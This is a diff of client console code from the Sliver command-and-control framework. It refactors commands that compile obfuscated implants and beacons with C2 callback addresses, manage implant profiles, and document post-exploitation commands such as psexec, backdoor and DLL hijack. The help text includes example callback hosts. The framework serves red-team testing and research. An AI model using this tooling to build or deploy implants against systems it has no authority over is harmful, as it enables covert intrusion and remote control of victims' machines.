if args == "" {
|
||||
return c2s, nil
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "tcp-pivot://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("tcp-pivot://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
if config.IsBeacon {
|
||||
interval := time.Duration(config.BeaconInterval)
|
||||
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
|
||||
} else {
|
||||
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
|
||||
}
|
||||
if config.ObfuscateSymbols {
|
||||
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
|
||||
} else if !config.Debug {
|
||||
con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
|
||||
}
|
||||
|
||||
start := time.Now()
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Compiling, please wait ...", ctrl)
|
||||
|
||||
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
|
||||
Config: config,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
end := time.Now()
|
||||
elapsed := time.Time{}.Add(end.Sub(start))
|
||||
con.PrintInfof("Build completed in %s\n", elapsed.Format("15:04:05"))
|
||||
if len(generated.File.Data) == 0 {
|
||||
con.PrintErrorf("Build failed, no file data\n")
|
||||
return nil, errors.New("no file data")
|
||||
}
|
||||
|
||||
saveTo, err := saveLocation(save, generated.File.Name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return nil, err
|
||||
}
|
||||
con.PrintInfof("Implant saved to %s\n", saveTo)
|
||||
return generated.File, err
|
||||
}
|
||||
|
||||
func getLimitsString(config *clientpb.ImplantConfig) string {
|
||||
limits := []string{}
|
||||
if config.LimitDatetime != "" {
|
||||
limits = append(limits, fmt.Sprintf("datetime=%s", config.LimitDatetime))
|
||||
}
|
||||
if config.LimitDomainJoined {
|
||||
limits = append(limits, fmt.Sprintf("domainjoined=%v", config.LimitDomainJoined))
|
||||
}
|
||||
if config.LimitUsername != "" {
|
||||
limits = append(limits, fmt.Sprintf("username=%s", config.LimitUsername))
|
||||
}
|
||||
if config.LimitHostname != "" {
|
||||
limits = append(limits, fmt.Sprintf("hostname=%s", config.LimitHostname))
|
||||
}
|
||||
if config.LimitFileExists != "" {
|
||||
limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
|
||||
}
|
||||
return strings.Join(limits, "; ")
|
||||
}
|
||||
|
||||
func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
|
||||
if format == clientpb.OutputFormat_EXECUTABLE {
|
||||
return true // We don't need cross-compilers when targeting EXECUTABLE formats
|
||||
}
|
||||
|
||||
compilers, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to check target compatibility: %s\n", err)
|
||||
return true
|
||||
}
|
||||
|
||||
if runtime.GOOS != "windows" && targetOS == "windows" {
|
||||
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
|
||||
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
|
||||
}
|
||||
}
|
||||
|
||||
if runtime.GOOS != "darwin" && targetOS == "darwin" {
|
||||
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
|
||||
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
|
||||
}
|
||||
}
|
||||
|
||||
if runtime.GOOS != "linux" && targetOS == "linux" {
|
||||
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
|
||||
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossCompiler) bool {
|
||||
for _, cc := range crossCompilers {
|
||||
if cc.GetTargetGOOS() == targetOS && cc.GetTargetGOARCH() == targetArch {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
|
||||
con.PrintWarnf("Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
|
||||
switch targetOS {
|
||||
case "windows":
|
||||
con.PrintWarnf("The server cannot find an installation of mingw")
|
||||
case "darwin":
|
||||
con.PrintWarnf("The server cannot find an installation of osxcross")
|
||||
case "linux":
|
||||
con.PrintWarnf("The server cannot find an installation of musl-cross")
|
||||
}
|
||||
con.PrintWarnf("For more information please read %s\n", crossCompilerInfoURL)
|
||||
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Try to compile anyways (will likely fail)?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
return confirm
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
// GetSliverBinary - Get the binary of an implant based on it's profile
|
||||
func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsoleClient) ([]byte, error) {
|
||||
var data []byte
|
||||
// get implant builds
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return data, err
|
||||
}
|
||||
|
||||
implantName := buildImplantName(profile.GetConfig().GetName())
|
||||
_, ok := builds.GetConfigs()[implantName]
|
||||
if implantName == "" || !ok {
|
||||
// no built implant found for profile, generate a new one
|
||||
con.PrintInfof("No builds found for profile %s, generating a new one\n", profile.GetName())
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Compiling, please wait ...", ctrl)
|
||||
|
||||
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
|
||||
Config: profile.Config,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error generating implant\n")
|
||||
return data, err
|
||||
}
|
||||
data = generated.GetFile().GetData()
|
||||
profile.Config.Name = buildImplantName(generated.GetFile().GetName())
|
||||
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error updating implant profile\n")
|
||||
return data, err
|
||||
}
|
||||
} else {
|
||||
// Found a build, reuse that one
|
||||
con.PrintInfof("Sliver name for profile: %s\n", implantName)
|
||||
regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
||||
ImplantName: profile.GetConfig().GetName(),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return data, err
|
||||
}
|
||||
data = regenerate.GetFile().GetData()
|
||||
}
|
||||
return data, err
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ImplantsRmCmd - Deletes an archived implant build from the server
|
||||
func ImplantsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
|
||||
Name: ctx.Args.String("implant-name"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to delete implant %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
package command
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
@@ -22,45 +22,32 @@ import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func listImplantBuilds(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
builds, err := rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
// ImplantsCmd - Displays archived implant builds
|
||||
func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if 0 < len(builds.Configs) {
|
||||
displayAllImplantBuilds(builds.Configs)
|
||||
displayAllImplantBuilds(con.App.Stdout(), builds.Configs)
|
||||
} else {
|
||||
fmt.Printf(Info + "No implant builds\n")
|
||||
con.PrintInfof("No implant builds\n")
|
||||
}
|
||||
}
|
||||
|
||||
func rmImplantBuild(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
if len(ctx.Args) < 1 {
|
||||
fmt.Printf(Warn+"Invalid implant name, see `%s %s --help`\n", consts.ImplantBuildsStr, consts.RmStr)
|
||||
return
|
||||
}
|
||||
_, err := rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
|
||||
Name: ctx.Args[0],
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Failed to delete implant %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func displayAllImplantBuilds(configs map[string]*clientpb.ImplantConfig) {
|
||||
func displayAllImplantBuilds(stdout io.Writer, configs map[string]*clientpb.ImplantConfig) {
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
@@ -98,5 +85,5 @@ func displayAllImplantBuilds(configs map[string]*clientpb.ImplantConfig) {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", "", "", "", "", "")
|
||||
}
|
||||
table.Flush()
|
||||
fmt.Printf(outputBuf.String())
|
||||
fmt.Fprintf(stdout, "%s", outputBuf.String())
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ProfilesGenerateCmd - Generate an implant binary based on a profile
|
||||
func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Flags.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("no profile selected")
|
||||
return
|
||||
}
|
||||
save := ctx.Flags.String("save")
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
profile := GetImplantProfileByName(name, con)
|
||||
if profile != nil {
|
||||
implantFile, err := compile(profile.Config, save, con)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
profile.Config.Name = buildImplantName(implantFile.Name)
|
||||
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not update implant profile: %v\n", err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
con.PrintErrorf("No profile with name '%s'", name)
|
||||
}
|
||||
}
|
||||
|
||||
func buildImplantName(name string) string {
|
||||
return strings.TrimSuffix(name, filepath.Ext(name))
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ProfilesNewCmd - Create a new implant profile
|
||||
func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Flags.String("profile-name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("Invalid profile name\n")
|
||||
return
|
||||
}
|
||||
config := parseCompileFlags(ctx, con)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
profile := &clientpb.ImplantProfile{
|
||||
Name: name,
|
||||
Config: config,
|
||||
}
|
||||
resp, err := con.Rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Saved new profile %s\n", resp.Name)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ProfilesRmCmd - Delete an implant profile
|
||||
func ProfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
|
||||
Name: ctx.Args.String("profile-name"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to delete profile %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ProfilesCmd - Display implant profiles
|
||||
func ProfilesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
profiles := getImplantProfiles(con)
|
||||
if profiles == nil {
|
||||
return
|
||||
}
|
||||
if len(profiles) == 0 {
|
||||
con.PrintInfof("No profiles, create one with `%s`\n", consts.NewStr)
|
||||
return
|
||||
}
|
||||
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
|
||||
fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("Platform")),
|
||||
strings.Repeat("=", len("Command & Control")),
|
||||
strings.Repeat("=", len("Debug")),
|
||||
strings.Repeat("=", len("Format")),
|
||||
strings.Repeat("=", len("Obfuscation")),
|
||||
strings.Repeat("=", len("Limitations")),
|
||||
)
|
||||
|
||||
for _, profile := range profiles {
|
||||
config := profile.Config
|
||||
if 0 < len(config.C2) {
|
||||
obfuscation := "strings only"
|
||||
if config.ObfuscateSymbols {
|
||||
obfuscation = "symbols obfuscation"
|
||||
}
|
||||
if config.Debug {
|
||||
obfuscation = "none"
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
profile.Name,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
fmt.Sprintf("[1] %s", config.C2[0].URL),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
fmt.Sprintf("%v", config.Format),
|
||||
obfuscation,
|
||||
getLimitsString(config),
|
||||
)
|
||||
}
|
||||
if 1 < len(config.C2) {
|
||||
for index, c2 := range config.C2[1:] {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
"",
|
||||
"",
|
||||
fmt.Sprintf("[%d] %s", index+2, c2.URL),
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
)
|
||||
}
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "")
|
||||
}
|
||||
table.Flush()
|
||||
}
|
||||
|
||||
func getImplantProfiles(con *console.SliverConsoleClient) []*clientpb.ImplantProfile {
|
||||
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error %s", err)
|
||||
return nil
|
||||
}
|
||||
return pbProfiles.Profiles
|
||||
}
|
||||
|
||||
func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantProfile {
|
||||
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error %s", err)
|
||||
return nil
|
||||
}
|
||||
for _, profile := range pbProfiles.Profiles {
|
||||
if profile.Name == name {
|
||||
return profile
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// RegenerateCmd - Download an archived implant build/binary
|
||||
func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
save := ctx.Flags.String("save")
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
|
||||
regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
||||
ImplantName: ctx.Args.String("implant-name"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to regenerate implant %s\n", err)
|
||||
return
|
||||
}
|
||||
if regenerate.File == nil {
|
||||
con.PrintErrorf("Failed to regenerate implant (no data)\n")
|
||||
return
|
||||
}
|
||||
saveTo, err := saveLocation(save, regenerate.File.Name)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Implant binary saved to: %s\n", saveTo)
|
||||
}
|
||||
File renamed without changes.
@@ -1,4 +1,4 @@
|
||||
package command
|
||||
package help
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
@@ -22,32 +22,42 @@ import (
|
||||
"fmt"
|
||||
"sort"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
|
||||
"github.com/desertbit/columnize"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func helpCmd(app *grumble.App, isShell bool) {
|
||||
printHelp(app)
|
||||
fmt.Println()
|
||||
// HelpCmd - Returns an instance of the 'help' command
|
||||
func HelpCmd(con *console.SliverConsoleClient) func(a *grumble.App, shell bool) {
|
||||
return func(a *grumble.App, shell bool) {
|
||||
printHelp(con)
|
||||
}
|
||||
}
|
||||
|
||||
func printHelp(app *grumble.App) {
|
||||
func printHelp(con *console.SliverConsoleClient) {
|
||||
config := columnize.DefaultConfig()
|
||||
config.Delim = "|"
|
||||
config.Glue = " "
|
||||
config.Prefix = " "
|
||||
// Group the commands by their help group if present.
|
||||
groups := make(map[string]*grumble.Commands)
|
||||
for _, c := range app.Commands().All() {
|
||||
for _, c := range con.App.Commands().All() {
|
||||
key := c.HelpGroup
|
||||
if ActiveSession.Get() != nil {
|
||||
if ActiveSession.Get().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
|
||||
targetOS := ""
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session != nil {
|
||||
targetOS = session.OS
|
||||
} else if beacon != nil {
|
||||
targetOS = beacon.OS
|
||||
}
|
||||
if beacon != nil || session != nil {
|
||||
if targetOS != "windows" && key == consts.SliverWinHelpGroup {
|
||||
continue
|
||||
}
|
||||
} else {
|
||||
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.ExtensionHelpGroup {
|
||||
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
|
||||
continue
|
||||
}
|
||||
}
|
||||
@@ -84,23 +94,23 @@ func printHelp(app *grumble.App) {
|
||||
}
|
||||
|
||||
if len(output) > 0 {
|
||||
fmt.Println()
|
||||
printHeadline(app.Config(), headline)
|
||||
fmt.Printf("%s\n", columnize.Format(output, config))
|
||||
con.Println()
|
||||
printHeadline(con.App.Config(), headline, con)
|
||||
con.Printf("%s\n", columnize.Format(output, config))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func headlinePrinter(c *grumble.Config) func(v ...interface{}) (int, error) {
|
||||
func headlinePrinter(c *grumble.Config, con *console.SliverConsoleClient) func(v ...interface{}) (int, error) {
|
||||
if c.NoColor || c.HelpHeadlineColor == nil {
|
||||
return fmt.Println
|
||||
return con.Println
|
||||
}
|
||||
return c.HelpHeadlineColor.Println
|
||||
}
|
||||
|
||||
func printHeadline(c *grumble.Config, s string) {
|
||||
println := headlinePrinter(c)
|
||||
if c.HelpHeadlineUnderline {
|
||||
func printHeadline(config *grumble.Config, s string, con *console.SliverConsoleClient) {
|
||||
println := headlinePrinter(config, con)
|
||||
if config.HelpHeadlineUnderline {
|
||||
println(s)
|
||||
u := ""
|
||||
for i := 0; i < len(s); i++ {
|
||||
@@ -24,23 +24,29 @@ package help
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/template"
|
||||
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
)
|
||||
|
||||
const (
|
||||
sep = "."
|
||||
)
|
||||
|
||||
var (
|
||||
|
||||
// NOTE: For sub-commands use a "." hierarchy, for example root.sub for "sub" help
|
||||
cmdHelp = map[string]string{
|
||||
consts.JobsStr: jobsHelp,
|
||||
consts.SessionsStr: sessionsHelp,
|
||||
consts.BackgroundStr: backgroundHelp,
|
||||
consts.InfoStr: infoHelp,
|
||||
consts.UseStr: useHelp,
|
||||
consts.GenerateStr: generateHelp,
|
||||
consts.NewProfileStr: newProfileHelp,
|
||||
consts.ProfileGenerateStr: generateProfileHelp,
|
||||
consts.StagerStr: generateStagerHelp,
|
||||
consts.StageListenerStr: stageListenerHelp,
|
||||
consts.JobsStr: jobsHelp,
|
||||
consts.SessionsStr: sessionsHelp,
|
||||
consts.BackgroundStr: backgroundHelp,
|
||||
consts.InfoStr: infoHelp,
|
||||
consts.UseStr: useHelp,
|
||||
consts.GenerateStr: generateHelp,
|
||||
consts.StagerStr: generateStagerHelp,
|
||||
consts.StageListenerStr: stageListenerHelp,
|
||||
|
||||
consts.MsfStr: msfHelp,
|
||||
consts.MsfInjectStr: msfInjectHelp,
|
||||
@@ -49,6 +55,7 @@ var (
|
||||
consts.KillStr: killHelp,
|
||||
consts.LsStr: lsHelp,
|
||||
consts.CdStr: cdHelp,
|
||||
consts.PwdStr: pwdHelp,
|
||||
consts.CatStr: catHelp,
|
||||
consts.DownloadStr: downloadHelp,
|
||||
consts.UploadStr: uploadHelp,
|
||||
@@ -64,14 +71,37 @@ var (
|
||||
consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.LoadExtensionStr: loadExtensionHelp,
|
||||
consts.LoadMacroStr: loadMacrosHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
|
||||
consts.WebsitesStr: websitesHelp,
|
||||
consts.ScreenshotStr: screenshotHelp,
|
||||
consts.MakeTokenStr: makeTokenHelp,
|
||||
consts.GetEnvStr: getEnvHelp,
|
||||
consts.WebsitesStr: websitesHelp,
|
||||
consts.ScreenshotStr: screenshotHelp,
|
||||
consts.MakeTokenStr: makeTokenHelp,
|
||||
consts.EnvStr: getEnvHelp,
|
||||
consts.EnvStr + sep + consts.SetStr: setEnvHelp,
|
||||
consts.RegistryWriteStr: regWriteHelp,
|
||||
consts.RegistryReadStr: regReadHelp,
|
||||
consts.RegistryCreateKeyStr: regCreateKeyHelp,
|
||||
consts.PivotsStr: pivotsHelp,
|
||||
consts.WgPortFwdStr: wgPortFwdHelp,
|
||||
consts.WgSocksStr: wgSocksHelp,
|
||||
consts.SSHStr: sshHelp,
|
||||
consts.DLLHijackStr: dllHijackHelp,
|
||||
consts.GetPrivsStr: getPrivsHelp,
|
||||
|
||||
// Loot
|
||||
consts.LootStr: lootHelp,
|
||||
|
||||
// Profiles
|
||||
consts.ProfilesStr + sep + consts.NewStr: newProfileHelp,
|
||||
consts.ProfilesStr + sep + consts.GenerateStr: generateProfileHelp,
|
||||
|
||||
// Reactions
|
||||
consts.ReactionStr: reactionHelp,
|
||||
consts.ReactionStr + sep + consts.SetStr: reactionSetHelp,
|
||||
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
|
||||
}
|
||||
|
||||
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
|
||||
@@ -93,18 +123,23 @@ var (
|
||||
[[.Bold]]About:[[.Normal]] Generate a new sliver binary and saves the output to the cwd or a path specified with --save.
|
||||
|
||||
[[.Bold]][[.Underline]]++ Command and Control ++[[.Normal]]
|
||||
You must specificy at least one c2 endpoint when generating an implant, this can be one or more of --mtls, --http, or --dns, --named-pipe, or --tcp-pivot.
|
||||
The command requires at least one use of --mtls, --http, or --dns, --named-pipe, or --tcp-pivot.
|
||||
You must specificy at least one c2 endpoint when generating an implant, this can be one or more of --mtls, --wg, --http, or --dns, --named-pipe, or --tcp-pivot.
|
||||
The command requires at least one use of --mtls, --wg, --http, or --dns, --named-pipe, or --tcp-pivot.
|
||||
|
||||
The follow command is used to generate a sliver Windows executable (PE) file, that will connect back to the server using mutual-TLS:
|
||||
generate --mtls foo.example.com
|
||||
|
||||
The follow command is used to generate a sliver Windows executable (PE) file, that will connect back to the server using Wireguard on UDP port 9090,
|
||||
then connect to TCP port 1337 on the server's virtual tunnel interface to retrieve new wireguard keys, re-establish the wireguard connection using the new keys,
|
||||
then connect to TCP port 8888 on the server's virtual tunnel interface to establish c2 comms.
|
||||
generate --wg 3.3.3.3:9090 --key-exchange 1337 --tcp-comms 8888
|
||||
|
||||
You can also stack the C2 configuration with multiple protocols:
|
||||
